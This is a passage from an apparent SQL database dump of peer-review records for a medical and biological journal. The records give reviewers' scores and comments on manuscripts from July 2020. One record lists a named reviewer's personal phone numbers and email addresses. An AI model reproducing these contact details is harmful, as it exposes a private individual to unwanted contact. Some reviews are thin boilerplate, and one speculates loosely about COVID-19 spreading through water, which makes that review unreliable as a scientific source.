not?\r\n\r\n6. In Rwanda’s results-based financing, author mentioned ‘RBF proffers innovative approaches to enhance coverage and access to quality healthcare services’. Please added how many percent of coverage and access.\r\n\r\n7. In conclusion, author recommended ‘Adoption and implementation of innovative health financing reforms such as a nationwide health insurance scheme and/or results-based financing may be helpful in bridging the gap between huge government and private sector spending and the attainment of health systems objectives which will invariably set the nation on course to attaining universal health coverage.’ However, if Botswana health financing structure will adopt nationwide health insurance scheme and/or results-based financing, Botswana people will be affordable compulsory health insurance scheme or not? And result based financing will be successful or not because it included quality healthcare services? Author should discuss more.','','2020-07-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1910,9054,4513,NULL,'5','g','y','y','n','The prevalence of MRSA among clinical isolates of Methicillin-resistant Staphylococcus aureus bacterium and determine the antimicrobial susceptibility pattern determination is interesting study and good number of samples 526 are collected to evaluate the study. Significant method of Methicillin-resistant Staphylococcus aureus (MRSA) identified by using the Cefoxitin (30 μg) disc diffusion method is used. Results are significant and clearly tabulated for easy understanding of study. Discussion and conclusion are clear with good number of citations. Manuscript should be formatted as per journal guidelines and accepted to publish.','','2020-07-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1918,12875,4637,NULL,'4','R','N','M','Y','An interesting but rare case study. Details of clinical presentation, investigations and diagnosis wrote well. The hysterotomy, the delivery of a healthy baby; the hysterorhaphy with an invaginating suture was carried out. Visualizing the tumour located in the left flank and hypochondrium of 17 x 11 centimetres with sot consistency showing cystic features and abundant vascularization. The difficulty to determine it\'s origin is also well explained. Excision of the tumour requiring bowel suture; partial omentectomy is appreciated as the tumoural mass was not excisable. The photographs of the tumour, surgery and histopathological slides give a clear picture. However, the details of OUTCOME , FOLLOW-UP and also takehome messages would have added value\r\n','A rare case study worth publishing. If the follow-up and lessons learned can be added will complete the story well.','2020-07-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1931,9157,4502,NULL,'5','R','Y','Y','Y','Study can be more vast.','Matter of the study is good you can go ahead for further process.','2020-07-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1932,9157,4776,NULL,'4','R','Y','Y','Y','Need to remove hyperlinks from the bottom of pages, they can be included in reference part.\r\nFont size can be corrected.','Needs some minor changes for further process.','2020-07-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1933,13669,4969,NULL,'4','G','N','M','Y','1.	the title is attractive and informative \r\n2.	the abstract can be shorten it\r\n3.	where is your case question? mention it\r\n4.	KEYWORDS are good\r\n5.	absent graphical ABSTRACT\r\n6.	the introduction provide sufficient background information for readers in the immediate field to understand the problem/hypotheses\r\n7.	the text is well arranged and the logic is clear\r\n8.	there are few grammatical errors in this article\r\n9.	the related concepts are introduced \r\n10.	the readability is sufficient\r\n11.	the proposed report  is not novel\r\n12.	the results are good, but mention final pcr result \r\n13.	the theoretical analysis in this article is good \r\n14.	all figures/tables are clear enough to summarize the results for presentation to the readers\r\n15.	all figures/tables are well referred to in the text\r\n16.	the reference section contains recent ref\r\n17.	no Plagiarism \r\n18.	Conflict of interest is mentioned\r\n19.	Ethical committee is not mentioned\r\n20.	Acknowledgement is not mentioned\r\n\r\n\r\nQuestions to the authors:\r\n1.	writing skills\r\n2.	not discuss the 5 weeks of delay?\r\n3.   not discuss endotracheal tube?\r\n\r\n','\r\nQuestions to the authors:\r\n1.	writing skills\r\n2.	not discuss the 5 weeks of delay?\r\n3.   not discuss endotracheal tube?\r\nTo the editor:\r\nThis is a medium expert author\r\n','2020-07-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1935,13599,4483,NULL,'1','d','n','m','y','The title of the manuscript creates an interest in the work and expectation of a detailed analysis of the financing health structures in Botswana. However, a reading of the manuscript highlight no analysis of the financing structure but rather a summary of government health financing documents. The presentation of the manuscript is also unclear making it difficult to follow through the analysis. The analysis does present no new information nor synthesise the existing data for a better understanding of health financing structure in Botswana.\r\nI suggest that the author: (i) clarify the objective of the manuscript, (ii) identify a methodology for the analysis (iii) use appropriate manuscript structure to guide the reader (iv) synthesise the data collected during the review rather than summarise documents (v) consider collaborate with subject experts to guide on key health financing components','','2020-07-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1937,663,4739,NULL,'4','G','Y','Y','Y','The manuscript titled ‘Impact of Educational Self-Efficacy Enhancement Program on Quality of Life, Pain Management, Self-Efficiency Behaviors, and Its Impact of Satisfaction among Adult Diabetic Patients with Peripheral Neuropathy Pain’ investigated the impact of the educational self-efficacy enhancement program on quality of life, pain management, self-efficiency behaviors, and its impact satisfaction among adult diabetic patients with peripheral neuropathy pain. And they found the self-efficacy enhancement program had a significantly positive impact on diabetic peripheral neuropathy pain patients’ QoL, pain levels, self-efficiency behaviors, and satisfaction. This is very interesting and important findings. The change of lifestyle does have benefits on life quality. The study is well designed, and the manuscript is also carefully written. The minor comments as below:\r\nThe authors chose DPNP patients as the study group, and found self-efficacy behaviors, such as appropriate diet, exercise, reduce weight and encouragement to stop smoking, and regularly visit treating physicians, have lots of benefits. However, as we know, self-efficacy behaviors should improve the patients’ blood sucrose levels. Does this the real reason that patients showed better diabetic peripheral neuropathy pain patients’ QoL, pain levels, self-efficiency behaviors, and satisfaction? It’s better to discuss. \r\n','Dear Editor,\r\nIt\'s a nice and mature manuscript and only minor revisions needed. Thanks.','2020-07-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1938,11354,4709,NULL,'4','G','Y','Y','Y','This study describes about Purkinie network visualization. The images are very beautiful. The more detailed explanation for what arrows indicate in Figure 5. Please proofread a whole manuscript very carefully.','','2020-07-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1939,13339,4608,NULL,'5','g','y','y','y','Thank you so much for the opportunity to review this interesting manuscript. The manuscript is well written. I believe the manuscript is accepted without any changes for publication. ','accepted without any changes for publication.','2020-07-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1942,13096,4575,NULL,'5','G','y','y','y','Thank you so much for the opportunity to review this interesting manuscript. \r\n1- the Manuscript provide sufficient background information for readers in the immediate field to understand\r\n2- the text is well arranged and structured\r\n3- all figures are clear enough to summarize for presentation to the readers and well referred to in the text \r\n4- Worth publishing and accept with out changes','Thank you so much for the opportunity to review this interesting manuscript. \r\n1- the Manuscript provide sufficient background information for readers in the immediate field to understand\r\n2- the text is well arranged and structured\r\n3- all figures are clear enough to summarize for presentation to the readers and well referred to in the text \r\n4- Worth publishing and accept with out changes','2020-07-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1948,9107,5041,NULL,'5','g','y','y','n','The molecular typing of bacteria which were resistant to extract of the leaves of Ocimum gratissimum and Azadirachta indica and to investigate whether there was any relationship between non-sensitivity to antibiotics and the extract of plants of four isolates: Salmonella typhii, Escherichia coli, Pseudomonas aeruginosa and Pseudomonas monteilii is  interesting with complete significant study. Method and extraction procedures are effective and showed significance in study proved  N hexane, ethanol and aqueous leaf extracts of Ocimum gratissimum and Azadiracha indica were resistant to the bacterial isolates. Manuscript is recommended to publish.','','2020-07-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1949,9107,4387,NULL,'5','g','y','y','n','Its good to choose current topic around us. Author with his paper raised query how it is not possible to transmit via water. Recently WHO concluded how transmission happening through air and how it is getting transmitted. Though it is not proven but there are chances to transmitt through water where droplets are the major source of transmission. here by I suggest to publish this paper, as this paper giving new information about this pandemic.','','2020-07-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1950,10529,4939,NULL,'1','D','N','N','Y','Dear authors,\r\n\r\nI had the chance to review your manuscript.\r\nMy main concern is the fact that this is an old study. I could not find any justification for publishing so old findings from data colected seven and eight years ago.\r\nThe majority of the cited literature is too old, an update is needed.\r\nNote that there is repetition of the findings within the discussion part of the manuscript.This part is for interpreting and explaining the findings and also comparing them with previous studies.\r\nTables are quite dificult to follow. ','Dear editor,\r\nThank you for the invitation to review this manuscript. Unfortunately, the findings come from very old data, making them, probably, invalid for 2020. Therefore I can only suggest to reject it as, in my opinion, will not add value to existing knowledge.\r\n\r\nRegards,\r\n\r\nG. Efstathiou','2020-07-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1953,12875,5111,NULL,'5','R','N','M','Y','A well-reviewed retrospective case studies. The diagnosis in the era of the absence of Magnetic Resonance Imaging (MRI) is appreciated. The photographs are convincing. Since there were only 7 survivors for over 5 years, the survival by each case could give better insight like the maximum years of survival in relation to the interventions fo two types of surgeries. The outcome of survival beyond 5 years of Invasive Ductal carcinoma was poor 4/19 (<20%), any explanation can be a good learning','Follow up studies for 20 years speak a lot about the maintenance of records in the facility. The author\'s efforts are appreciable and publication of such an article is a recognition and be pursued by all publishers.','2020-07-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1957,4516,4706,NULL,'5','g','y','y','y','Author has selected this topic Short-term movementand survival of resident Brown Trout in response to instream habitat manipulation is very intresting and noval.\r\n\r\nThe results indicate that disturbance to resident Brown Trout during construction of instream habitat work is minimal. Movement by resident fish in specific locations where heavy equipment installed large woody debris and boulders was similar to fish in undisturbed areas. Resident fish also returned to original tagging locations soon after construction ended if displacement occurred.Additionally, survival was not impacted as no mortalities were observed.\r\n\r\nI accept to publish this article in our journal. ','Author has selected this topic Short-term movementand survival of resident Brown Trout in response to instream habitat manipulation is very intresting and noval.\r\n\r\nThe results indicate that disturbance to resident Brown Trout during construction of instream habitat work is minimal. Movement by resident fish in specific locations where heavy equipment installed large woody debris and boulders was similar to fish in undisturbed areas. Resident fish also returned to original tagging locations soon after construction ended if displacement occurred.Additionally, survival was not impacted as no mortalities were observed.\r\n\r\nI accept to publish this article in our journal. ','2020-07-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1962,8997,5112,NULL,'5','5','5','5','5','Current manuscript;\r\n\r\nThe Method has scientific rigor.\r\n\r\nResults and discussion consistent with the object of investigation.\r\n\r\nCurrent references.\r\n\r\nThe conclusion responds to the proposed design','Current manuscript;\r\n\r\nThe Method has scientific rigor.\r\n\r\nResults and discussion consistent with the object of investigation.\r\n\r\nCurrent references.\r\n\r\nThe conclusion responds to the proposed design','2020-07-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1964,11689,5169,NULL,'5','g','y','y','y','Vision is needed for daily functioning of all human beings, and Good vision is essential in carrying out all activities of daily living. The visual disability caused by glaucoma affects functional disabilities irrespective of age.\r\nGlaucoma is a leading cause of irreversible blindness worldwide. In 2010, about 60.5 million individuals in the world had glaucoma; prevalence is expected to increase to 79.6 million by 2020. Although most affected patients do not report any specific symptoms or vision loss initially, glaucoma can adversely affect patients’ quality of life (QoL) and ability to perform visually related activities, even when they are unaware of their diagnosis.\r\nThis report obtained cross-sectional data was conducted at the Guinness Eye Centre, Onitsha. In present study, Author aim to evaluate and quantify vision related Activities among Glaucoma Patients. This study examined Two hundred and four patients 40 to 92 years with mean age of 61.0 years (94 male and 110 females).\r\nAuthor was well explained how Patients with advanced glaucoma have difficulty in daily activities, with a correlation between the severity of the visual field defects and the old age and advanced glaucomatous damage risk factors associated with difficulty in carrying out vision related activities of daily living.\r\n','Vision is needed for daily functioning of all human beings, and Good vision is essential in carrying out all activities of daily living. The visual disability caused by glaucoma affects functional disabilities irrespective of age.\r\nGlaucoma is a leading cause of irreversible blindness worldwide. In 2010, about 60.5 million individuals in the world had glaucoma; prevalence is expected to increase to 79.6 million by 2020. Although most affected patients do not report any specific symptoms or vision loss initially, glaucoma can adversely affect patients’ quality of life (QoL) and ability to perform visually related activities, even when they are unaware of their diagnosis.\r\nThis report obtained cross-sectional data was conducted at the Guinness Eye Centre, Onitsha. In present study, Author aim to evaluate and quantify vision related Activities among Glaucoma Patients. This study examined Two hundred and four patients 40 to 92 years with mean age of 61.0 years (94 male and 110 females).\r\nAuthor was well explained how Patients with advanced glaucoma have difficulty in daily activities, with a correlation between the severity of the visual field defects and the old age and advanced glaucomatous damage risk factors associated with difficulty in carrying out vision related activities of daily living.\r\n','2020-07-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1966,11353,4709,NULL,'4','G','N','M','Y','1.	the title is attractive and informative\r\n2.	the abstract is not informative, clarify it precisely\r\n3.	KEYWORDS need revision, please use MeSH keywords guidelines\r\n4.	absent graphical ABSTRACT\r\n5.	the introduction provide sufficient background information for readers in the immediate field to understand the problem/hypotheses\r\n6.	the text is well arranged and the logic is clear\r\n7.	there are few grammatical errors in this article\r\n8.	the related concepts are introduced \r\n9.	the readability is sufficient\r\n10.	the proposed experiment is novel\r\n11.	the results are good\r\n12.	rigorous derivation of formulas/ equations work well\r\n13.	the theoretical analysis in this article is good\r\n14.	all figures/tables are clear enough to summarize the results for presentation to the readers\r\n15.	all figures/tables are well referred to in the text\r\n16.	the reference section contains some old ref\r\n17.	please use google scholar search engine then set it since 2016\r\n18.	Bias is present\r\n19.	no Plagiarism \r\n20.	Fund is mentioned\r\n21.	Conflict of interest is mentioned\r\n22.	Ethical committee is mentioned\r\n23.	Acknowledgement is not mentioned\r\n','Questions to the authors:\r\nWriting skills need corrections\r\nTo the editor:\r\nThis is an expert author\r\n','2020-07-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1970,11689,5170,NULL,'5','g','y','y','y','Eales Diseases have the name of Henry Eales, who, in 1880, described five young men with recurring vitreous and retinal hemorrhages associated with constipation and epistaxis. In the initial stages of Eales disease, patients may not be having any symptoms. Eales disease may be associated with ocular tuberculosis, which may show its signs in the late stages of Eales disease.\r\nThe etiology of Eales disease still stands to be controversial and is to date, very poorly understood. Exposure to tuberculosis and hypersensitivity to tuberculoprotein is considered to be related to the disease. The association between Eales disease and tuberculosis has been proposed in several studies.\r\nThe aim of this study is to report three cases of unilateral Eales disease with presumed tubercular etiology and management, including a combination of oral steroids plus antituberculosis (anti-TB) therapy.\r\nAuthor present the cases of 52 years old, 55 years old male nurse,60 years old shepherd and well described how they presented to clinic with sudden onset of floaters in the left, right and in the OD eye (OD) eye.\r\nOverall the manuscript is well written with limited data.\r\n','Eales Diseases have the name of Henry Eales, who, in 1880, described five young men with recurring vitreous and retinal hemorrhages associated with constipation and epistaxis. In the initial stages of Eales disease, patients may not be having any symptoms. Eales disease may be associated with ocular tuberculosis, which may show its signs in the late stages of Eales disease.\r\nThe etiology of Eales disease still stands to be controversial and is to date, very poorly understood. Exposure to tuberculosis and hypersensitivity to tuberculoprotein is considered to be related to the disease. The association between Eales disease and tuberculosis has been proposed in several studies.\r\nThe aim of this study is to report three cases of unilateral Eales disease with presumed tubercular etiology and management, including a combination of oral steroids plus antituberculosis (anti-TB) therapy.\r\nAuthor present the cases of 52 years old, 55 years old male nurse,60 years old shepherd and well described how they presented to clinic with sudden onset of floaters in the left, right and in the OD eye (OD) eye.\r\nOverall the manuscript is well written with limited data.\r\n','2020-07-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1971,12897,4637,NULL,'4','G','y','y','y','It\'s a very interesting subject considering the rarity of this pathology.\r\nhowever some remarks must be quoted \r\n1/ the patient is young what is the indication for the laparoscopic approach which remains important to consider?\r\n2/ what is the followup of this patient in the medium term at least?\r\n3/ I would have liked the discussion to be more detailed regarding the different therapeutic options.\r\n\r\nGlobally, this is an article that needs minor revisions','','2020-07-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1978,11355,4709,NULL,'4','r','y','y','y','The author compared the methods of observing ovine left ventricular subendocardial and free running Purkinje fiber distribution by the wide field OCM and light microscope. The manuscript is well written. The English expression is good, the experimental design is reasonable. The data presentation is well. However, there are several points need to be noticed.\r\n1．	Figure 1 legend demonstrated there should have ‘Fig1 A’ and ‘Fig1 B’. However, ’A‘ and ‘B’ weren’t labeled . I couldn’t tell Fig 1A or 1B. \r\n2．	Figure 2 legend is presented as ‘Figure 3’ and there is no legend under ‘‘Figure 3’.\r\n3．	The legend ‘Figure 3. OCM and conventional light microscopic observations of HPS on the same spot. A. OCM image. Purkinje fibers can be seen as low density and reticular sheath was observed as high density.’, could arrow and arrow head be used to help reader to see more clearly，for ex, low density (arrow)，high density (arrow head)?\r\n4．	Couldn’t find legends of supplemental figures .\r\n','','2020-07-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1979,7021,4724,NULL,'4','R','Y','Y','Y','This review article describes about Alzheimer\'s disease treatment with medicinal plants. Introduction may be revised to have some references showing Alzheimer\'s disease affect almost 15 million people worldwide.','','2020-07-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1982,11689,5171,NULL,'5','g','y','y','y','In 1866 Albrecht von Graefe described a disease that he referred to as ‘recurrent central retinitis\'. Central serous chorioretinopathy, commonly referred to as CSC, is a condition in which fluid accumulates under the retina, causing a serous (fluid-filled) detachment and vision loss. CSC is classically described in a middle-aged man, however, can be seen from 20 to 64 years. \r\nThis study aims to provide basic as well as updated information related to CSC. Atypical idiopathic CSC presentation may be challenging to diagnose. Author well describes the atypical case of a 9-year-old male with the blurred vision in his right eye with a circumscribed SRD that resolved spontaneously and with fluorescein angiography (FA) findings that were compatible with idiopathic CSC. Optical coherence tomography (OCT) and systemic assessment were performed to exclude other etiologies.\r\nIn conclusion, based on the clinical appearance and the natural course of the disease, this case is compatible with CSC. CSC may affect males at a young age and should be included in the differential diagnosis of multifocal localized SRD in that age group.\r\nOverall the manuscript is well written with limited data.\r\n','In 1866 Albrecht von Graefe described a disease that he referred to as ‘recurrent central retinitis\'. Central serous chorioretinopathy, commonly referred to as CSC, is a condition in which fluid accumulates under the retina, causing a serous (fluid-filled) detachment and vision loss. CSC is classically described in a middle-aged man, however, can be seen from 20 to 64 years. \r\nThis study aims to provide basic as well as updated information related to CSC. Atypical idiopathic CSC presentation may be challenging to diagnose. Author well describes the atypical case of a 9-year-old male with the blurred vision in his right eye with a circumscribed SRD that resolved spontaneously and with fluorescein angiography (FA) findings that were compatible with idiopathic CSC. Optical coherence tomography (OCT) and systemic assessment were performed to exclude other etiologies.\r\nIn conclusion, based on the clinical appearance and the natural course of the disease, this case is compatible with CSC. CSC may affect males at a young age and should be included in the differential diagnosis of multifocal localized SRD in that age group.\r\nOverall the manuscript is well written with limited data.\r\n','2020-07-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1984,11689,5173,NULL,'5','g','y','y','y','Wyburn-Mason Syndrome (also known as Bonnet-Bechaume-Blanc syndrome, Congenital Unilateral Retinocephalic Vascular Malformation Syndrome, Racemose Angiomatosis). Wyburn-Mason syndrome is an extremely rare nonhereditary disorder that is present at birth (congenital). Affected infants have arteriovenous malformations (AVMs), which are developmental abnormalities affecting the blood vessels, specifically the arteries, veins and capillaries.\r\nAVMs associated with Wyburn-Mason syndrome are usually found in the eyes and midbrain. The exact cause of Wyburn-Mason syndrome is unknown.\r\nIt is considered a developmental abnormality characterized by arteriovenous malformations. No specific genetic abnormality or hereditary tendencies have been identified. The specific, underlying mechanism(s) that cause the vascular malformations in Wyburn-Mason syndrome are not known. A diagnosis of Wyburn-Mason syndrome may be made based upon a thorough clinical evaluation, a detailed patient history, and identification of characteristic findings, especially ocular findings. \r\nAuthor well carried out systemic work up to exclude other causes of macular edema and concluded that presence of macular edema needs meticulous workup to exclude any concomitant illnesses.\r\n','Wyburn-Mason Syndrome (also known as Bonnet-Bechaume-Blanc syndrome, Congenital Unilateral Retinocephalic Vascular Malformation Syndrome, Racemose Angiomatosis). Wyburn-Mason syndrome is an extremely rare nonhereditary disorder that is present at birth (congenital). Affected infants have arteriovenous malformations (AVMs), which are developmental abnormalities affecting the blood vessels, specifically the arteries, veins and capillaries.\r\nAVMs associated with Wyburn-Mason syndrome are usually found in the eyes and midbrain. The exact cause of Wyburn-Mason syndrome is unknown.\r\nIt is considered a developmental abnormality characterized by arteriovenous malformations. No specific genetic abnormality or hereditary tendencies have been identified. The specific, underlying mechanism(s) that cause the vascular malformations in Wyburn-Mason syndrome are not known. A diagnosis of Wyburn-Mason syndrome may be made based upon a thorough clinical evaluation, a detailed patient history, and identification of characteristic findings, especially ocular findings. \r\nAuthor well carried out systemic work up to exclude other causes of macular edema and concluded that presence of macular edema needs meticulous workup to exclude any concomitant illnesses.\r\n','2020-07-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1998,9109,4466,NULL,'5','g','y','y','n','COVID is the dangerous virus that is irritaiing people. It has blocked all the living of people around the world. In this article author has explained all those thongs very well and the information provided is very useful to evryone. I suggest to publish this manuscript without any chnages.','','2020-07-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2002,11351,4709,NULL,'5','g','y','y','y','the manuscript is certainly interesting, and the topic is very relevant. There are potentially very valuable lessons to learn from this manuscript. However, the manuscript is suitable for publication.\r\nTitle:- Visualization of left ventricular subendocardial and free running Purkinje fiber distribution. \r\n','Reviewer: - Adel Hamed Elbaih, MBBCH, MSC, MD, Associate Professor of Emergency Medicine, Faculty of Medicine, Sulaiman AlRajhi University (SRU) ,Suez Canal University(SCU), Ismailia, MD Emergency Medicine, SCU, 2011, MSC internal medicine, SCU, 2005, Scholarship and affiliation at Maryland University, USA, 2018. Member of the Egyptian Board of Emergency Medicine, Member of the Arab Board of Emergency Medicine, Egypt, KSA. Telephone: - 00966552804474, WhatsApp: - +201154599748, Email address: - a.elbaih@sr.edu.sa, elbaihzico@yahoo.com, elbaihzico@gmail.com, \r\n       the manuscript is certainly interesting, and the topic is very relevant. There are potentially very valuable lessons to learn from this manuscript. However, the manuscript is suitable for publication.\r\nTitle:- Visualization of left ventricular subendocardial and free running Purkinje fiber distribution. \r\n','2020-07-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2004,10779,4580,NULL,'5','g','y','y','y','Author has selected the topic \'Can canned tuna improve cardiovascular health? Study of the effect of consumption of a functional food developed from Thunnus albacares on the lipid profile\'. It is very interesting and novel.\r\n\r\nThe use of a can of Thunnus albares developed as a functional food provides the recommended daily amount of omega 3, 0.6gr per day. By consuming it at the given time we get it to act directly on lipogenesis, inhibiting HMG-CoA reductase, while inhibiting the genes involved in the synthesis of this enzyme (selective blockage of SREB proteins involved in the synthesis of HMG-CoA reductase). Omega 3s also interfere with membrane permeability, decreasing the amount of lipids that pass into the cell interior.\r\nThe widespread increase in HDL confirms that the tuna can is a source of omega 3 with the ability to raise the values of this lipoprotein in the blood through consumption.\r\nI accept this article to publish in our journal.','Author has selected the topic \'Can canned tuna improve cardiovascular health? Study of the effect of consumption of a functional food developed from Thunnus albacares on the lipid profile\'. It is very interesting and novel.\r\n\r\nThe use of a can of Thunnus albares developed as a functional food provides the recommended daily amount of omega 3, 0.6gr per day. By consuming it at the given time we get it to act directly on lipogenesis, inhibiting HMG-CoA reductase, while inhibiting the genes involved in the synthesis of this enzyme (selective blockage of SREB proteins involved in the synthesis of HMG-CoA reductase). Omega 3s also interfere with membrane permeability, decreasing the amount of lipids that pass into the cell interior.\r\nThe widespread increase in HDL confirms that the tuna can is a source of omega 3 with the ability to raise the values of this lipoprotein in the blood through consumption.\r\nI accept this article to publish in our journal.','2020-07-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2005,8796,4530,NULL,'5','g','y','y','y','Author has selected this topic ‘Estimate of gillnet selectivity parameters and true relative abundance of Oreochromisniloticus and Sarotherodongalileus, using four indirect methods, with gillnets principally of three different meshes in the Volta Lake, Ghana’ it is very interesting and novel.	\r\nThe selection factors of, 1.96 and 1.92, determined for O. niloticus and S. galileus respectively were consistent, from application of the four selectivity assessment methods, and being nearly equal was attributed to both species having similar body shape. The normal distribution of the selection curves was skewed to the right or left by various factors including; the characteristics of the head, the behavior of the fish, the condition of the fish, and twine elasticity, flexibility and visibility but the resultant asymmetry was corrected by the Beverton/Holt’s method which minimized the standard deviation of the curves to one-tenth of the usual Holt’s method used for determination of selectivity.\r\nI accept this article to publish in our journal.','Author has selected this topic ‘Estimate of gillnet selectivity parameters and true relative abundance of Oreochromisniloticus and Sarotherodongalileus, using four indirect methods, with gillnets principally of three different meshes in the Volta Lake, Ghana’ it is very interesting and novel.	\r\nThe selection factors of, 1.96 and 1.92, determined for O. niloticus and S. galileus respectively were consistent, from application of the four selectivity assessment methods, and being nearly equal was attributed to both species having similar body shape. The normal distribution of the selection curves was skewed to the right or left by various factors including; the characteristics of the head, the behavior of the fish, the condition of the fish, and twine elasticity, flexibility and visibility but the resultant asymmetry was corrected by the Beverton/Holt’s method which minimized the standard deviation of the curves to one-tenth of the usual Holt’s method used for determination of selectivity.\r\nI accept this article to publish in our journal.','2020-07-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2012,11689,3563,NULL,'5','g','y','y','y','Patient hygiene is essential for their well-being, safety and prevention of Health care-associated infections (HAIs). The \"dry bath\" method is innovative for the Republic of Bulgaria and is used in very few hospitals. However, based on foreign experience and our research, we believe that the topic is of interest to readers of the magazine. The topic of the manuscript will broaden the awareness of nurses\' hygiene care and broaden patient safety knowledge worldwide. The main findings of the study are: Author identified microorganisms that are not characteristic of the skin flora, which is an indicator of low hygiene care for patients and analysed the microflora of the skin before and after the hygiene bath with chlorhexidine gluconate and with a non-rinsing product; Author established reduction of approximately 50% of CNMRS after skin treatment with chlorhexidine gluconate is significantly greater than that of a cleaning agent where the difference before and after is less than 5%.','Patient hygiene is essential for their well-being, safety and prevention of Health care-associated infections (HAIs). The \"dry bath\" method is innovative for the Republic of Bulgaria and is used in very few hospitals. However, based on foreign experience and our research, we believe that the topic is of interest to readers of the magazine. The topic of the manuscript will broaden the awareness of nurses\' hygiene care and broaden patient safety knowledge worldwide. The main findings of the study are: Author identified microorganisms that are not characteristic of the skin flora, which is an indicator of low hygiene care for patients and analysed the microflora of the skin before and after the hygiene bath with chlorhexidine gluconate and with a non-rinsing product; Author established reduction of approximately 50% of CNMRS after skin treatment with chlorhexidine gluconate is significantly greater than that of a cleaning agent where the difference before and after is less than 5%.','2020-07-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2013,11689,3562,NULL,'5','g','y','y','y','The study was conducted in largest healthcare institutions in Saudi Arabia. A few studies focused on causes and barriers to reporting medication administration errors in health care settings, This descriptive study suggested to train nurses and hospital administrators on facilitators and barriers of error reporting in order to enhance patient safety. Patient safety and MAEs are considered a high priority issue in health care systems. Findings suggest there is under-reporting of MAEs in Saudi Arabia as a result of the culture of fear, blame, and punishment. There is a need for educational programs about medication administration errors for nurses.','','2020-07-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2014,11689,3870,NULL,'5','g','y','y','y','COVID-19 is the ultimate disruptor, reshaping people’s work lives, family dynamics and finances. No one knows how long it will last. No one knows who’s contagious. And confronting all of these issues at once can cause emotional and psychological stress, affecting ourselves and our relationships. This study was to identify the Stress, Anxiety levels in COVID-19 Confinement. The Results of this study shows that the Stress and anxiety levels increase according to the age and the responsibilities associated with it. And seen that the higher the age range the more adherence to healthy habits.','','2020-07-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2015,11689,4396,NULL,'5','g','y','y','y','Diabetes is a persistent disease. This disease is characterized by increase of blood glucose level. A large population of world is affected by diabetes. The patients suffering from diabetes have many other complications like cardiovascular disease, kidney disease, retinopathy, diabetic foot, diabetic neuropathy, urinary tract infection, etc. The patients with diabetes are more prone to get urinary tract infection due to frequent urination and high blood sugar level. The high sugar level gives favorable growth environment to the pathogens. Early diagnosis and proper medication are necessary for management of urinary tract infection in diabetic patients. The diagnosis of urinary tract infection is dependent on urine culture reports. The treatment should preferably be started after antimicrobial susceptibility reports. The misuse or overuse of antibiotics may lead to antimicrobial resistance. The antimicrobial resistance is another challenge in management of urinary tract infection. Studies have shown that diabetic patients are prone to have various kinds of infections more than non-diabetics and prevalence of UTI is high among diabetic patients. Generally, urine is considered sterile and germ-free. Different studies found that most uropathogens responsible for UTIs colonise the colon and perianal region. This article aims to critically review the current knowledge on the mechanisms associated with the greater susceptibility of DM for developing 